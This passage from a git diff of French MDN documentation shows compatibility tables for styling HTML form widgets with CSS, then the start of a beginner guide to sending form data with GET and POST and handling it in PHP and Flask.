+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}Non[1]Non[1] +
    +
  1. Certains navigateurs ajoutent des marges supplémentaires et d'autres étirent le widget.
    2. +
+
{{cssxref("height")}}Non[1]Non[1] +
    +
  1. Certains navigateurs ajoutent des marges supplémentaires et d'autres étirent le widget.
    2. +
+
{{cssxref("border")}}NonNon 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}NonNon 
Texte et polices
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Bordure et arrière-plan
{{cssxref("background")}}NonNon 
{{cssxref("border-radius")}}NonNon 
{{cssxref("box-shadow")}}NonNon 
+ +

Boîtes à sélection (ligne unique)

+ +

Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément {{HTMLElement("select")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}Partiel[1]Partiel[1] +
    +
  1. Cette propriété est correcte sur l'élément {{HTMLElement("select")}}, mais cela peut ne pas être le cas sur les éléments {{HTMLElement("option")}} ou {{HTMLElement("optgroup")}}.
    2. +
+
{{cssxref("height")}}NonOui 
{{cssxref("border")}}PartielOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}Non[1]Partiel[2] +
    +
  1. La propriété est appliquée, mais de manière incohérente entre navigateurs sous Mac OSX.
    2. +
  2. La propriété est bien appliquée sur l'élément {{HTMLElement("select")}}, mais est traitée de manière incohérente sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.
    3. +
+
Texte et polices
{{cssxref("color")}}Partiel[1]Partiel[1] +
    +
  1. Sur Mac OSX, les navigateurs fondés sur WebKit ne prennent pas en charge cette propriété sur les widgets natifs et, avec Opera, ils ne la prennent pas du tout en charge sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.
    2. +
+
{{cssxref("font")}}Partiel[1]Partiel[1] +
    +
  1. Sur Mac OSX, les navigateurs fondés sur WebKit ne prennent pas en charge cette propriété sur les widgets natifs et, avec Opera, ils ne la prennent pas du tout en charge sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.
    2. +
+
{{cssxref("letter-spacing")}}Partiel[1]Partiel[1] +
    +
  1. IE9 ne prend pas en charge cette propriété sur les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, et {{HTMLElement("optgroup")}} ; les navigateurs fondés sur WebKit sur Mac OSX ne prennent pas en charge cette propriété sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.
    2. +
+
{{cssxref("text-align")}}No[1]No[1] +
    +
  1. IE9 sous Windows 7 et les navigateurs fondés sur WebKit sous Mac OSX ne prennent pas en charge cette propriété pour ce widget.
    2. +
+
{{cssxref("text-decoration")}}Partiel[1]Partiel[1] +
    +
  1. Seul Firefox fournit une prise en charge totale de cette propriété. Opera ne la prend pas du tout en charge et d'autres navigateur ne le font que pour l'élément  {{HTMLElement("select")}}.
    2. +
+
{{cssxref("text-indent")}}Partiel[1][2]Partiel[1][2] +
    +
  1. La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.
    2. +
  2. IE9 ne prend pas en charge cette propriété.
    3. +
+
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}Partiel[1][2]Partiel[1][2] +
    +
  1. La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.
    2. +
  2. IE9 ne prend pas en charge cette propriété.
    3. +
+
{{cssxref("text-transform")}}Partiel[1]Partiel[1] +
    +
  1. La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.
    2. +
+
Bordure et arrière-plan
{{cssxref("background")}}Partiel[1]Partiel[1] +
    +
  1. La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.
    2. +
+
{{cssxref("border-radius")}}Partiel[1]Partiel[1]
{{cssxref("box-shadow")}}NonPartiel[1]
+ +

Boîtes à sélection (multilignes)

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}OuiOui 
{{cssxref("border")}}OuiOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}Partiel[1]Partiel[1] +
    +
  1. Opera ne prend pas en charge {{cssxref("padding-top")}} et {{cssxref("padding-bottom")}} sur l'élément {{HTMLElement("select")}}.
    2. +
+
Texte et polices
{{cssxref("color")}}OuiOui 
{{cssxref("font")}}OuiOuiVoir la note à propos de {{cssxref("line-height")}}.
{{cssxref("letter-spacing")}}Partiel[1]Partiel[1] +
    +
  1. IE9 ne prend pas en charge cette propriété sur les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, et {{HTMLElement("optgroup")}} ; les navigateurs fondés sur WebKit sur Mac OSX ne prennent pas en charge cette propriété sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.
    2. +
+
{{cssxref("text-align")}}No[1]No[1] +
    +
  1. IE9 sous Windows 7 et les navigateurs fondés sur WebKit sous Mac OSX ne prennent pas en charge cette propriété sur ce widget.
    2. +
+
{{cssxref("text-decoration")}}No[1]No[1] +
    +
  1. Uniquement pris en charge par Firefox et IE9+.
    2. +
+
{{cssxref("text-indent")}}NonNon 
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}NonNon 
{{cssxref("text-transform")}}Partiel[1]Partiel[1] +
    +
  1. La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.
    2. +
+
Bordure et arrière-plan
{{cssxref("background")}}OuiOui 
{{cssxref("border-radius")}}Yes[1]Yes[1] +
    +
  1. Sur Opera la propriété {{cssxref("border-radius")}} n'est appliquée que si une bordure est explicitement définie.
    2. +
+
{{cssxref("box-shadow")}}NonPartiel[1] +
    +
  1. IE9 ne prend pas en charge cette propriété.
    2. +
+
+ +

Datalist

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}NonNon 
{{cssxref("height")}}NonNon 
{{cssxref("border")}}NonNon 
{{cssxref("margin")}}NonNon 
{{cssxref("padding")}}NonNon 
Texte et polices
{{cssxref("color")}}NonNon 
{{cssxref("font")}}NonNon 
{{cssxref("letter-spacing")}}NonNon 
{{cssxref("text-align")}}NonNon 
{{cssxref("text-decoration")}}NonNon 
{{cssxref("text-indent")}}NonNon 
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}NonNon 
{{cssxref("text-transform")}}NonNon 
Bordure et arrière-plan
{{cssxref("background")}}NonNon 
{{cssxref("border-radius")}}NonNon 
{{cssxref("box-shadow")}}NonNon 
+ +

Sélecteur de fichiers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}NonNon 
{{cssxref("height")}}NonNon 
{{cssxref("border")}}NonNon 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}NonNon 
Texte et polices
{{cssxref("color")}}OuiOui 
{{cssxref("font")}}No[1]No[1] +
    +
  1. Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.
    2. +
+
{{cssxref("letter-spacing")}}Partiel[1]Partiel[1] +
    +
  1. Beaucoup de navigateurs appliquent cette propriété sur le bouton de sélection.
    2. +
+
{{cssxref("text-align")}}NonNon 
{{cssxref("text-decoration")}}NonNon 
{{cssxref("text-indent")}}Partiel[1]Partiel[1] +
    +
  1. Agit plus ou moins comme une marge supplementaire en dehors du widget.
    2. +
+
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}NonNon 
{{cssxref("text-transform")}}NonNon 
Bordure et arrière-plan
{{cssxref("background")}}No[1]No[1] +
    +
  1. Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.
    2. +
+
{{cssxref("border-radius")}}NonNon 
{{cssxref("box-shadow")}}NonPartiel[1] +
    +
  1. IE9 ne prend pas en charge cette propriété.
    2. +
+
+ +

Sélecteurs de date

+ +

Beaucoup de propriétés sont prises en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}NonNon 
{{cssxref("height")}}NonNon 
{{cssxref("border")}}NonNon 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}NonNon 
Texte et polices
{{cssxref("color")}}NonNon 
{{cssxref("font")}}NonNon 
{{cssxref("letter-spacing")}}NonNon 
{{cssxref("text-align")}}NonNon 
{{cssxref("text-decoration")}}NonNon 
{{cssxref("text-indent")}}NonNon 
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}NonNon 
{{cssxref("text-transform")}}NonNon 
Bordure et arrière-plan
{{cssxref("background")}}NonNon 
{{cssxref("border-radius")}}NonNon 
{{cssxref("box-shadow")}}NonNon 
+ +

Sélecteurs de couleurs

+ +

Il n'y a pas actuellement suffisamment d'implémentation pour obtenir des comportements fiables.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}No[1]Oui +
    +
  1. Opera gère cette propriété comme pour un widget select avec les mêmes restrictions.
    2. +
+
{{cssxref("border")}}OuiOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}No[1]Oui +
    +
  1. Opera gère cette propriété comme pour un widget select avec les mêmes restrictions.
    2. +
+
Texte et polices
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Bordure et arrière-plan
{{cssxref("background")}}No[1]No[1] +
    +
  1. Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.
    2. +
+
{{cssxref("border-radius")}}No[1]No[1]
{{cssxref("box-shadow")}}No[1]No[1]
+ +

Widgets meter et progress

+ +

Il n'y a pas actuellement suffisemment d'implémentation pour obtenir des comportements fiables.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}OuiOui 
{{cssxref("border")}}PartielOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}OuiPartiel[1] +
    +
  1. Chrome cache les éléments {{HTMLElement("progress")}} et {{HTMLElement("meter")}} quand la propriété {{cssxref("padding")}} est appliquée sur un élément altéré.
    2. +
+
Texte et polices
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Bordure et arrière-plan
{{cssxref("background")}}No[1]No[1] +
    +
  1. Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.
    2. +
+
{{cssxref("border-radius")}}No[1]No[1]
{{cssxref("box-shadow")}}No[1]No[1]
+ +

Widget range

+ +

Il n'y a pas de méthode standard pour changer le style de la poignée de range et Opera n'a aucun moyen de modifier le rendu par défaut du widget range.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}Partiel[1]Partiel[1] +
    +
  1. Chrome et Opera ajoutent quelque espace supplémentaire autour du widget, alors que Opera sous Windows 7 réduit la poignée de range.
    2. +
+
{{cssxref("border")}}NonOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}Partiel[1]Oui +
    +
  1. La propriété {{cssxref("padding")}} est appliquée, mais elle n'a aucun effet visible.
    2. +
+
Texte et polices
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Bordure et arrière-plan
{{cssxref("background")}}No[1]No[1] +
    +
  1. Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.
    2. +
+
{{cssxref("border-radius")}}No[1]No[1]
{{cssxref("box-shadow")}}No[1]No[1]
+ +

Boutons image

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}OuiOui 
{{cssxref("border")}}OuiOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}OuiOui 
Texte et polices
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Bordure et arrière-plan
{{cssxref("background")}}OuiOui 
{{cssxref("border-radius")}}Partiel[1]Partiel[1] +
    +
  1. IE9 ne prend pas en charge cette propriété.
    2. +
+
{{cssxref("box-shadow")}}Partiel[1]Partiel[1] +
    +
  1. IE9 ne prend pas en charge cette propriété.
    2. +
+
+ +

{{PreviousMenu("Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/forms/sending_and_retrieving_form_data/index.html b/files/fr/learn/forms/sending_and_retrieving_form_data/index.html new file mode 100644 index 0000000000..bc81996fda --- /dev/null +++ b/files/fr/learn/forms/sending_and_retrieving_form_data/index.html @@ -0,0 +1,371 @@ +--- +title: Envoyer et extraire les données des formulaires +slug: Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires +tags: + - Débutant + - En-têtes + - Fichier + - Formulaire + - Guide + - HTML + - HTTP + - Sécurité + - Web +translation_of: Learn/Forms/Sending_and_retrieving_form_data +--- +
{{learnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires")}}
+ +

Cet article examine ce qui arrive quand un utilisateur soumet un formulaire — où les données vont-elles et comment les gère-t-on une fois à destination ? Nous examinerons aussi quelques problèmes de sécurité associés à l'envoi des données d'un formulaire.

+ + + + + + + + + + + + +
Prérequis :Notions concernant les ordinateurs, compréhension du HTML, et connaissances de base de HTTP et programmation côté serveur.
Objectif :Comprendre ce qui arrive quand les données d'un formulaire sont soumises, y compris les notions de la façon dont les données sont traitées sur le serveur.
+ +

Où vont les données ?

+ +

Dans ce paragraphe, nous expliquons ce qui arrive aux données lors de la soumission d'un formulaire.

+ +

A propos de l'architecture client / serveur

+ +

Le web se fonde sur une architecture client/serveur élémentaire ; en résumé : un client (généralement un navigateur Web) envoie une requête à un serveur (le plus souvent un serveur web comme Apache, Nginx, IIS, Tomcat...), en utilisant le protocole HTTP. Le serveur répond à la requête en utilisant le même protocole.

+ +

Un schéma élémentaire d'architecture client/serveur sur le Web

+ +

Côté client, un formulaire HTML n'est rien d'autre qu'un moyen commode et convivial de configurer une requête HTTP pour envoyer des données à un serveur. L'utilisateur peut ainsi adresser des informations à joindre à la requête HTTP.

+ +
+

Note: Pour une meilleure idée du fonctionnement de l'architecture client‑serveur, lisez notre module Programmation d'un site web côté‑serveur : premiers pas.

+
+ +

Côté client : définition de la méthode d'envoi des données

+ +

L'élément  {{HTMLElement("form")}} définit la méthode d'envoi des données. Tous ses attributs sont conçus pour vous permettre de configurer la requête à envoyer quand un utilisateur presse le bouton d'envoi. Les deux attributs les plus importants sont {{htmlattrxref("action","form")}} et {{htmlattrxref("method","form")}}.

+ +

L'attribut {{htmlattrxref("action","form")}}

+ +

Cet attribut définit où les données sont envoyées. Sa valeur doit être une URL valide. S'il n'est pas fourni, les données seront envoyées à l'URL de la page contenant le formulaire.

+ +

Dans cet exemple, les données sont envoyées à une URL précise — http://foo.com :

+ +
<form action="http://foo.com">
+ +

Ici, nous utilisons une URL relative — les données sont envoyées à une URL différente sur le serveur :

+ +
<form action="/somewhere_else">
+ +

Sans attribut, comme ci-dessous, les données de {{HTMLElement("form")}} sont envoyées à la même page que celle du formulaire  :

+ +
<form>
+ +

De nombreuses pages anciennes utilisent la notation suivante pour indiquer que les données doivent être envoyées à la page qui contient le formulaire. C'était nécessaire car jusqu'à HTML5, l'attribut {{htmlattrxref("action", "form")}} était requis. Il n'y en a donc plus besoin.

+ +
<form action="#">
+ +
+

Note : Il est possible de spécifier une URL qui utilise le protocole HTTPS (HTTP sécurisé). Quand vous faites ceci, les données sont chiffrées avec le reste de la requête, même si le formulaire lui-même est hébergé dans une page non sécurisée à laquelle on accède via HTTP. D'autre part, si le formulaire est hébergé sur une page sécurisée mais qu'on spécifique une URL non sécurisée avec l'attribut {{htmlattrxref("action","form")}}, tous les navigateurs affichent une alerte de sécurité pour l'utilisateur chaque fois qu'il envoie des données car celles-ci ne sont pas chiffrées.

+
+ +

L'attribut {{htmlattrxref("method","form")}}

+ +

Cet attribut définit comment les données sont envoyées. Le Protocole HTTP fournit plusieurs façons d'envoyer une requête. Les données des formulaires HTML peuvent être envoyées via au moins deux méthodes : la méthode GET et la méthode POST.

+ +

Pour bien comprendre la différence entre ces deux méthodes, il convient d'examiner comment le protocole HTTP marche. Chaque fois qu'on veut atteindre une ressource sur Internet, le navigateur envoie une requête à une URL. Une requête HTTP consiste en deux parties : un en-tête (header) qui contient les métadonnées sur les capacités du navigateur, et un corps (body) qui contient les informations nécessaires au serveur pour effectuer la requête.

+ +
La méthode GET
+ +

La méthode GET est utilisée par le navigateur pour demander au serveur de renvoyer une certaine ressource. "Hé le serveur, je veux cette ressource." Dans ce cas, le navigateur envoie un corps vide. Du coup, si un formulaire est envoyé avec cette méthode, les données envoyées au serveur sont ajoutées à l'URL.

+ +

Considérons le formulaire suivant :

+ +
<form action="http://foo.com" method="get">
+  <div>
+    <label for="say">Quel salut voulez-vous adresser ?</label>
+    <input name="say" id="say" value="Hi">
+  </div>
+  <div>
+    <label for="to">À qui voulez‑vous l'adresser ?</label>
+    <input name="to" value="Mom">
+  </div>
+  <div>
+    <button>Send my greetings</button>
+  </div>
+</form>
+ +

Comme nous avons utilisé la méthode GET, vous verrez l'URL www.foo.com/?say=Hi&to=Mom apparaître dans la barre du navigateur quand vous soumettez le formulaire.

+ +

Message d'erreur: le serveur est introuvable

+ +

Les données sont ajoutées à l'URL sous forme d'une suite de paires nom/valeur. À la fin de l'URL de l'adresse Web, il y a un point d'interrogation (?) suivi par les paires nom/valeur séparés par une esperluette (&). Dans ce cas, nous passons deux éléments de données au serveur :

+ +
    +
  • say, dont la valeur est  Hi
    • +
  • to, qui a la valeur Mom
    • +
+ +

La requête HTTP ressemble à quelque chose comme :

+ +
GET /?say=Hi&to=Mom HTTP/1.1
+Host: foo.com
+ +
+

Note : Vous trouverez cet exemple sur GitHub — voyez get-method.html (à voir directement aussi).

+
+ +
La méthode POST
+ +

La méthode POST est un peu différente.C'est la méthode que le navigateur utilise pour demander au serveur une réponse prenant en compte les données contenues dans le corps de la requête HTTP : « Hé serveur ! vois ces données et renvoie-moi le résultat approprié ». Si un formulaire est envoyé avec cette méthode, les données sont ajoutées au corps de la requête HTTP.

+ +

Voyons un exemple — c'est le même formulaire que celui que nous avons vu pour GET ci‑dessus, mais avec post comme valeur de l'attribut  {{htmlattrxref("method","form")}}.

+ +
<form action="http://foo.com" method="post">
+  <div>
+    <label for="say">Quel salut voulez‑vous adresser ?</label>
+    <input name="say" id="say" value="Hi">
+  </div>
+  <div>
+    <label for="to">À qui voulez‑vous l'adresser ?</label>
+    <input name="to" value="Mom">
+  </div>
+  <div>
+    <button>Send my greetings</button>
+  </div>
+</form>
+ +

Quand le formulaire est soumis avec la méthode POST, aucune donnée n'est ajoutée à l'URL et la requête HTTP ressemble à ceci, les données incorporées au corps de requête :

+ +
POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&to=Mom
+ +

L'en-tête Content-Length indique la taille du corps, et l'en-tête Content-Type indique le type de ressources envoyées au serveur. Nous discuterons de ces en-têtes dans un moment.

+ +
+

Note : Vous trouverez cet exemple sur GitHub — voyez post-method.html (à voir directement aussi).

+
+ +

Voir les requêtes HTTP

+ +

Les requêtes HTTP ne sont jamais montrées à l'utilisateur (si vous voulez les voir, vous devez utiliser des outils comme la Console Web de Firefox ou les Chrome Developer Tools). À titre d'exemple, les données de formulaire sont visibles comme suit dans l'onglet Chrome Network.  Après avoir soumis le formulaire :

+ +
    +
  1. Pressez F12
    2. +
  2. Selectionnez « Réseau »
    3. +
  3. Selectionnez « Tout »
    4. +
  4. Selectionnez « foo.com » dans l'onglet « Nom »
    5. +
  5. Selectionnez « En‑tête »
    6. +
+ +

Vous obtiendrez les données du formulaire, comme l'image suivante le montre.

+ +

+ +

La seule chose affichée à l'utilisateur est l'URL appelée. Comme mentionné ci‑dessus, avec une requête GET l'utilisateur verra les données dans la barre de l'URL, mais avec une requête POST il ne verra rien. Cela peut être important pour deux raisons :

+ +
    +
  1. +

    Si vous avez besoin d'envoyer un mot de passe (ou toute autre donnée sensible), n'utilisez jamais la méthode GET ou vous risquez de l'afficher dans la barre d'URL, ce qui serait très peu sûr.

    +
    2. +
  2. +

    Si vous avez besoin d'envoyer une grande quantité de données, la méthode POST est préférable car certains navigateurs limitent la taille des URLs. De plus, de nombreux serveurs limitent la longueur des URL qu'ils acceptent.

    +
    3. +
+ +

Côté serveur : récupérer les données

+ +

Quelle que soit la méthode HTTP qu'on choisit, le serveur reçoit une chaîne de caractères qui sera décomposée pour récupérer les données comme une liste de paires clé/valeur. La façon d'accéder à cette liste dépend de la plateforme de développement utilisée et des modèles qu'on peut utiliser avec. La technologie utilisée détermine aussi comment les clés dupliquées sont gérées ; souvent, la priorité est donnée à la valeur de clé la plus récente.

+ +

Exemple : PHP brut

+ +

Le PHP met à disposition des objets globaux pour accéder aux données. En supposant que vous avez utilisé la méthode POST, l'exemple suivant récupère les données et les affiche à l'utilisateur. Bien sûr, ce que vous en faites dépend de vous. Vous pouvez les afficher, les ranger dans une base de données, les envoyer par mail ou les traiter autrement.

+ +
<?php
+  // La variable globale $_POST vous donne accès aux données envoyées avec la méthode POST par leur nom
+  // Pour avoir accès aux données envoyées avec la méthode GET, utilisez $_GET
+  $say = htmlspecialchars($_POST['say']);
+  $to  = htmlspecialchars($_POST['to']);
+
+  echo  $say, ' ', $to;
+ +

Cet exemple affiche une page avec les données envoyées. Vous pouvez voir ceci opérer avec notre fichier exemple php-example.html — il contient le même formulaire exemple que celui vu précédemment avec la méthode post avec php-example.php en action. À la soumission du formulaire, il envoie les données de ce dernier à php-example.php, contenant le code ci‑dessus. Quand le code est exécuté, la sortie dans le navigateur est Bonjour, M'an.L'exécution du code PHP déclenche l'affichage de Bonjour, M'an

+ +
+

Note : Cet exemple ne fonctionnera pas si vous le chargez localement dans un navigateur — les navigateurs ne savent pas interpréter le code PHP, donc quand le formulaire est soumis, le navigateur vous offrira seulement de télécharger le fichier PHP pour vous. Pour qu'il s'exécute, il est nécessaire de lancer l'exemple par l'intermédiaire d'un serveur PHP de n'importe quel type. Les bons choix pour des tests locaux de PHP sont MAMP (Mac et Windows) et AMPPS (Mac, Windows, Linux).

+
+ +

Exemple: Python

+ +

Cet exemple vous montre comment utiliser Python pour faire la même chose — afficher les données sur une page web. Celui‑ci utilise Flask framework pour le rendu des modèles, la gestion de la soumission des données du formulaire, etc (voyez python-example.py).

+ +
from flask import Flask, render_template, request
+app = Flask(__name__)
+
+@app.route('/', methods=['GET', 'POST'])
+def form():
+    return render_template('form.html')
+
+@app.route('/hello', methods=['GET', 'POST'])
+def hello():
+    return render_template('greeting.html', say=request.form['say'], to=request.form['to'])
+
+if __name__ == "__main__":
+    app.run()
+ +

Les deux prototypes  référencés dans le code ci‑dessus sont les suivants :

+ +
    +
  • form.html : Le même formulaire que celui vu plus haut dans la section {{anch("La méthode POST")}} mais avec l'attribut action défini à la valeur \{{url_for('hello')}}. (C'est un modèle Jinja2, qui est HTML à la base mais peut contenir des appels à du code Python qui fait tourner le serveur web mis entre accolades. url_for('hello') dit en gros  « à rediriger sur /hello quand le formulaire est soumis ».)
    • +
  • greeting.html : Ce modèle contient juste une ligne qui renvoie les deux éléments de donnée qui lui sont passées lors du rendu. Cela est effectué par l'intermédiaire de la fonction hello() vue plus haut qui s'exécute quand l'URL /hello est chargée dans le navigateur.
    • +
+ +
+

Note : À nouveau, ce code ne fonctionnera pas si vous tentez de le charger directement dans le navigateur. Python fonctionne un peu différemment de PHP — pour exécuter ce code localement il est nécessaire d'installer Python/PIP, puis Flask avec « pip3 install flask ». À ce moment‑là vous pourrez exécuter l'exemple avec « python3 python-example.py », puis en allant sur « localhost:5000 » dans votre navigateur.

+
+ +

Autres langages et canevas de structures

+ +

Il y a de nombreuses autres techniques côté serveur utilisables pour gérer des formulaires, comme Perl, Java, .Net, Ruby... retenez juste votre préférée. Cela dit, il faut noter qu'il n'est pas très courant d'utiliser ces techniques directement car cela peut être délicat. Il est plus fréquent d'utiliser l'un des jolis canevas qui permettent de gérer des formulaires plus facilement, comme :

+ + + +

Enfin il faut noter que même en utilisant ces canevas, travailler avec des formulaires n'est pas toujours facile. Mais c'est quand même bien plus facile que d'essayer d'en écrire vous‑même les fonctionnalités et cela vous économisera pas mal de temps.

+ +
+

Note : Nous déborderions du cadre de cet article en vous initiant aux langages côté serveur ou aux canevas. Les liens ci‑dessus vous donneront des informations si vous souhaitez en apprendre plus.

+
+ +

Cas particulier : envoyer des fichiers

+ +

L'envoi de fichiers avec une formulaire HTML est cas particulier. Les fichiers sont des données binaires — ou considérées comme telles — alors que toutes les autres données sont des données textuelles. Comme HTTP est un protocole de texte, il y a certaines conditions particulières à remplir pour gérer des données binaires.

+ +

L'attribut {{htmlattrxref("enctype","form")}}

+ +

Cet attribut vous permet de préciser la valeur de l'en-tête HTTP Content-Type incorporé dans la requête générée au moment de la soumission du formulaire. Cet en-tête est très important car il indique au serveur le type de données envoyées. Par défaut, sa valeur est application/x-www-form-urlencoded. Ce qui signifie : « Ce sont des données de formulaire encodées à l'aide de paramètres URL ».

+ +

Mais si vous voulez envoyer des fichiers, il faut faire deux choses en plus :

+ +
    +
  • régler l'attribut {{htmlattrxref("method","form")}} à POST car un contenu de fichier ne peut pas être mis dans des paramètres d'URL.
    • +
